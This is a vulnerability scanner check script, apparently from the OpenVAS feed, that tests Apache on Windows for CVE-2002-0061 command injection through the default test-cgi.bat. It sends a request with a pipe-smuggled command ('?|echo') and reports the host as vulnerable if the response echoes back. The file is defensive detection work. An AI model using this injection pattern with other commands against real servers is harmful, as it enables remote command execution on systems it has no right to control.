Apache HTTP Server Remote Command Execution via .bat files

# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:http_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10938");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4335");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2002-0061");
  script_name("Apache HTTP Server Remote Command Execution via .bat files");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web Servers");
  script_dependencies("gb_apache_http_server_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("apache/http_server/http/detected", "Host/runs_windows");

  script_tag(name:"solution", value:"This bug is fixed in 1.3.24 and 2.0.34-beta, or remove /cgi-bin/test-cgi.bat.");

  script_tag(name:"summary", value:"The Apache HTTP Server 2.0.x Win32 installation is shipped with a
  default script, /cgi-bin/test-cgi.bat, that allows an attacker to execute
  commands on the Apache server (although it is reported that any .bat file
  could open this vulnerability.)");

  script_tag(name:"impact", value:"An attacker can send a pipe character with commands appended as parameters,
  which are then executed by Apache.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

# nb: The check makes request for cgi-bin/test-cgi.bat?|echo - which should return
# an HTTP 500 error containing the string 'ECHO is on'
# We just check for 'ECHO' (capitalized), as this should remain the same across
# most international versions of Windows(?)

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

url = "/cgi-bin/test-cgi.bat?|echo";
req = http_get(item:url, port:port);
res = http_send_recv(port:port, data:req);

if("ECHO" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);